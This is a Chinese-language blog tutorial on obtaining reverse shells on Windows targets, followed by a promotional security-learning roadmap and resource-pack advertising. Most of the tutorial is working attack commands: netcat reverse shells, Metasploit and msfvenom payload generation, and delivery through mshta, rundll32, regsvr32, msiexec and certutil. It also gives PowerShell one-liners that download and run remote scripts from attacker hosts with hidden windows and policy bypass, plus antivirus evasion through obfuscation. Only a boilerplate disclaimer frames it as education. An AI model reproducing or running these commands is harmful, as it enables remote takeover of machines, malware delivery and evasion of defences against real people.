反弹shell介绍
反弹shell主要就是让我们能远程连接到目标控制台并且下达指令,来达到操控目标资产的目的!
反弹shell分为:
- 正向反弹: 控制端(也就是我们自己的机器)发送请求去连接被控端(目标机器)的方式。
不过这种方式会受到防火墙,路由,等各种很多因素影响,很难成功。 - 反向反弹: 被控端主动发送请求连接我们的控制端。
这种方法是可以想办法避开防火墙和路由的一些限制的!
常用反弹方式
NetCat(NC)反弹
正常情况下,Windows系统中是不带NC的,我们想要使用NC需要先将此程序上传至目标机器,这里网上自行找资源吧,我NC本来想传到CSDN中的,但是审核不过去,没办法。
下载好nc后可以cd到下载目录使用,或将nc目录添加到环境变量中使用!
正向NC
正向的反弹是先让目标机器做好准备的情况下,等待攻击机连接。所以我们需要现在被控端执行命令,然后在控制端执行连接!
# 被控端 ## 使用更详细(-vv)的监听模式(-l)监听指定端口号(p)的入站信息,并且入站程序导入指定程序(-e)。 nc -lvvp 端口号 -e 使用程序 ## 如(被控端将本地powershell程序重定向到本地6543端口中,控制端只需要主动连接6543端口即可获得此程序的使用权!) nc -lvvp 6543 -e powershell.exe # 控制端(当前我的被控端地址为:192.168.1.251) nc 目标地址 端口 nc 192.168.1.251 6543上述的powershell可以换成cmd!
反向NC
和正向刚好相反,我们现在需要在控制机中开启监听,等待被控机对我们进行主动连接!
# 控制端 nc -lvvp 端口 # 如 nc -lvvp 4567 # 被控端(当前控制端IP为192.168.1.169) nc -e 使用程序 目标地址 端口 # 如 nc -e cmd.exe 192.168.1.169 4567mshta.exe利用
mshta.exe是用于负责解释运行HTA(HTML应用程序)文件的Windows系统应用程序。可以运行JavaScript或VBScript的HTML文件。这是Windows系统中自带的一个应用!我们可以利用执行我们的.hta木马程序来进行shell的反弹!
msf利用模块
方法一(msfconsole)
模块地址:exploit/windows/misc/hta_server
# 进入msf模块 use exploit/windows/misc/hta_server # 此模块我们需要设置srvhost和srvport,因为这个攻击载荷会开启一个web服务让目标访问!这里srvhost和srvport就是用来定义服务开启在哪个ip和端口的,默认使用0.0.0.0是会开启在本地所有ip上! set srvhost 本地IP # 使用的攻击载荷,我是windows/x64/meterpreter/reverse_tcp set payload 攻击载荷 set payload windows/x64/meterpreter/reverse_tcp # 默认是x86的,这里我们选择x64的 set target 1 # 绑定攻击机IP set lhost 192.168.1.200 # 启动脚本 run启动后后生成一个目标地址,只需要让目标执行mshta 目标地址(mshta http://192.168.1.200:8080/PgE4ymVU3VQ.hta)即可上线目标机器!
方法二(msfvenom)
msfvenom模块同样也支持生成.hta文件
# /bin/bash中执行生成木马文件 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.200 lport=4456 -f hta-psh -o 1.hta # 开启一个简易服务器,以供目标机器下载木马(当前下载地址为http://192.168.1.200:6123/1.hta) python3 -m http.server 6123 # msfconsole中执行监听 handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.1.200 -P 4456目标机器同样是执行mshta http://192.168.1.200:6123/1.hta即可上线!
Cobaltstrike利用模块
除了上述的msf外,cs同样也可以生成hts文件并且加以利用!
首先我们在生成后门选项中选择HTML Application并将其生成的.hta文件保存
然后使用钓鱼工具中的文件下载,开启一个下载服务已供目标下载
然后只需要目标执行mshta http://43.128.11.131:8081/download/file.ext即可上线。
注: 这里生成的木马为32位的,可能在64位主机运行时候出现问题!如果是64位主机的话,最好还是运行msf中生成的木马!
hta攻击源码
我们根据上述msf生成的hta木马源文件可以看出,其实这种攻击最终还是调用了powershell来执行一些反弹shell的操作!不过其中进行了一些混淆操作来减少被杀软发现的可能性!
rundll32.exe利用
用过Python的应该知道,Python之所以强大就是因为有很多库的支持,比如我们想要生成一个随机数,只需要调用random库即可。而动态链接库DLL (Dynamic Link Library) 则是Windows中的库。它包含一些常用的方法,并且允许不同的程序去调用它的代码和数据。这里的Rundll32.exe则是Windows中专门用来调用这些库(DLL)中的函数(16位或32位),并将其存储在适当的内存库中的程序。
msf利用模块
方法一(msfconsole)
使用模块:exploit/windows/smb/smb_delivery
这里需要注意,我们要用root身份运行msf,因为等会会调用445端口,只有root用户才有权限使用此端口(下载dll时默认从445下载,想要修改端口会比较麻烦!)
# 使用此模块 use exploit/windows/smb/smb_delivery # 此命令默认会调动445端口,这里就最好别改为其他端口,目标机器下载dll文件时会默认使用445端口! # 绑定攻击机IP set lhost 192.168.1.200 # 下面我因为4444端口已经被占用了,所以我换了一个端口 set lport 4454 # 运行后会生成一个rundll32.exe命令只需要在目标机器中执行此命令即可上线 # rundll32.exe \\192.168.1.200\kbFWW\test.dll,0方法二(msfvenom)
# 攻击机生成文件 msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.200 lport=5333 -f dll -o test.dll # 开启web服务,提供木马下载 python3 -m http.server # 开启监听 handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.1.200 -P 5333 # 目标下载文件(certutil是一个Windows自带的证书服务,我在渗透测试常用文件传输方法中-Windows篇这个博客中介绍过) certutil.exe -urlcache -split -f http://192.168.1.200:7789/test.dll # 执行的dll最好写绝对路径!!! rundll32 shell32.dll,Control_RunDLL C:\渗透测试工具\test.dllRundll32加载hta
Rundll32不仅能加载dll文件,还可以加载hta
# 这里我就5333和上面调用一样的端口,就不用在生成监听器了 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.200 lport=5333 -f hta-psh > 1.hta # 和上面差不多,将我们的木马传输到目标机器 certutil.exe -urlcache -split -f http://192.168.1.200:7785/1.hta # 执行的时候调用url.dll即可 rundll32.exe url.dll,OpenURL C:\Users\xunmi\1.htaRegsvr32.exe利用
Regsvr32也是一个和dll有关的程序,它主要复制注册和注销OLE控件,OLE(对象链接与嵌入)控件主要指的就是Windows注册表中的dll和ActiveX控件!此工具默认会在%systemroot%\System32(C:\Windows\System32) 文件夹中
| Regsvr32常用属性 | 作用 |
|---|---|
| /u | 注销服务器 |
| /i | 调用DllInstall传递一个可选的[cmdline];当它与/u一起使用时,它调用dll来卸载 |
| /n | 不要调用DllRegisterServer; 此选项必须与/i一起使用 |
| /s | 沉默; 不显示消息框 |
msf利用模块
使用模块:exploit/multi/script/web_delivery
# 首先我们先将生成的攻击文件设置为Regsvr32格式 set target 3 # 选择攻击载荷 set payload windows/x64/meterpreter/reverse_tcp # 绑定攻击机IP set lhost 192.168.1.200 # 然后根据自己机器端口占用情况设置lport和srvport即可!msiexec.exe利用
msiexec.exe是Windows系统安装引擎,微软安装包.msi(MSI:microsoft installer)就是使用msiexec.exe来解释安装。我在Windows常用提权博客中的总是以高权限安装(Always Install Elevated)中说过,如果管理员配置不当,我们是可以利用.msi安装程序的一个漏洞来执行提权命令的。有兴趣的同学可以去查看一二。
msf利用模块
这里主要是用msfvenom模块来生成一个msi的命令包
# 同样是先生成目标 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.200 lport=4578 -f msi > 1.msi # 挂载出来以供下载 python3 -m http.server 6542 # 设置监听 handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.1.200 -P 4578 # 下载执行(/q为静默执行 /i不输出任何日志文件) msiexec /q /i http://192.168.1.200:6542/1.msipowershell脚本
上述很多反弹shell命令最终都还是会去调用powershell进行反弹,在上述mshta.exe攻击时候的源码即可看出,我们生成的各种反弹shell脚本大部分本质都是披着各种外皮的PowerShell脚本。
PowerShell加载远程脚本
# 生成powershell的反弹脚本 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.200 lport=4578 -f psh-reflection -o shell.ps1 # 挂载出来以供下载 python3 -m http.server 6542 # 执行反弹shell命令(使用隐藏的(hidden)无限制的(bypass),并加载到内存中的(IEX)远程脚本) powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.200:6542/shell.ps1')";在目标机器中的cmd中执行上述反弹shell脚本后,则会在cmd中启动一个powershell子经常来执行我们的反弹命令!
powershell版本NC
开源下载地址: github.com/besimorhino…
首先我们需要将此脚本上传到目标靶机中!
# 现在我们的攻击机中启动nc监听 nc -lvvp 12345 # 然后加载远程脚本连接到我们攻击机中即可 powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://43.128.11.131:8000/powercat.ps1');powercat -c 192.168.1.200 -p 12345 -e cmd"通过Web delivery反弹shell
msfconsole生成
使用模块:use exploit/multi/script/web_delivery
use exploit/multi/script/web_delivery # 常规配置 set payload windows/x64/meterpreter/reverse_tcp set target 2 set lhost 192.168.1.200 set lport 8525 runCS生成
具体用法如下图,只需将生成的命令想办法让目标机器执行即可!
使用powershell执行.vbs文件
启动.vbs我们需要用到cscript.exe,它可以来执行wsf、js和vbscript脚本。
# 首先生成一个.vbs的脚本 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.200 LPORT=7777 -f vbs -o 1.vbs # 挂载出来以供下载 python3 -m http.server 6542 # 启动监听 handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.1.200 -P 7777 # 执行反弹shell命令 powershell -c "(New-Object System.NET.WebClient).DownloadFile('http://192.168.1.200:6542/1.vbs','$env:temp\test.vbs');Start-Process cscript.exe '$env:temp\test.vbs'"使用powershell执行.bat文件
.bat是Windows下的一个批处理文件,Windows默认就可以直接调用执行,理论上是蛮方便的,不过这种方法我并没有成功复现。
# 首先生成一个.bat的脚本 msfvenom -p cmd/windows/powershell_reverse_tcp LHOST=192.168.1.200 LPORT=7788 -o 1.bat # 挂载出来以供下载 python3 -m http.server 6542 # 启动监听 handler -p cmd/windows/powershell_reverse_tcp -H 192.168.1.200 -P 7788 # 执行反弹shell命令 powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.200:6542/1.bat');1.bat"; powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.1.200:6542/1.bat')"绕过杀软
混淆处理
这里我主要会用到一个做混淆处理的powershell模块Invoke-Obfuscation
下载地址: github.com/danielbohan…
# 设置powershell的模式,让我们的脚本可以自由运行 powershell.exe -ep bypass # 加载脚本 Import-Module ./Invoke-Obfuscation.psd1 # 启动脚本 Invoke-Obfuscation
设置需要混淆的源代码所在位置
set scriptpath I:\渗透测试\临时文件\源反弹shell代码.ps1
设置混淆方式
token\all 1 # 或(效果相同) token\all\1
输出混淆文件
out I:\渗透测试\临时文件\混淆后的代码.ps1
对比可以看出,这种混淆的原理就将我们的原本的代码关键词乱序排放,来让杀毒软件找不到我们木马的特征!除此之外Invoke-Obfuscation还有很多其他的加密混淆功能!
网络安全的知识多而杂,怎么科学合理安排?
下面给大家总结了一套适用于网安零基础的学习路线,应届生和转行人员都适用,学完保底6k!就算你底子差,如果能趁着网安良好的发展势头不断学习,日后跳槽大厂、拿到百万年薪也不是不可能!
初级黑客
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k
到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?
想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取
网络安全大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
7、脚本编程(初级/中级/高级)
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.
零基础入门,建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习;搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime;·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完;·用Python编写漏洞的exp,然后写一个简单的网络爬虫;·PHP基本语法学习并书写一个简单的博客系统;熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选);·了解Bootstrap的布局或者CSS。
8、高级黑客
这部分内容对零基础的同学来说还比较遥远,就不展开细说了,贴一个大概的路线。
网络安全工程师企业级学习路线
很多小伙伴想要一窥网络安全整个体系,这里我分享一份打磨了4年,已经成功修改到4.0版本的**《平均薪资40w的网络安全工程师学习路线图》**对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
如果你想要入坑黑客&网络安全工程师,这份282G全网最全的网络安全资料包!网络安全大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
学习资料工具包
压箱底的好资料,全面地介绍网络安全的基础理论,包括逆向、八层网络防御、汇编语言、白帽子web安全、密码学、网络安全协议等,将基础理论和主流工具的应用实践紧密结合,有利于读者理解各种主流工具背后的实现机制。
网络安全源码合集+工具包
视频教程
视频配套资料&国内外网安书籍、文档&工具
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
黑客/网安大礼包:CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
好了就写到这了,大家有任何问题也可以随时私信问我!希望大家不要忘记点赞收藏哦!
特别声明:
此教程为纯技术分享!本文的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本书的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。!!!
本文转自网络如有侵权,请联系删除。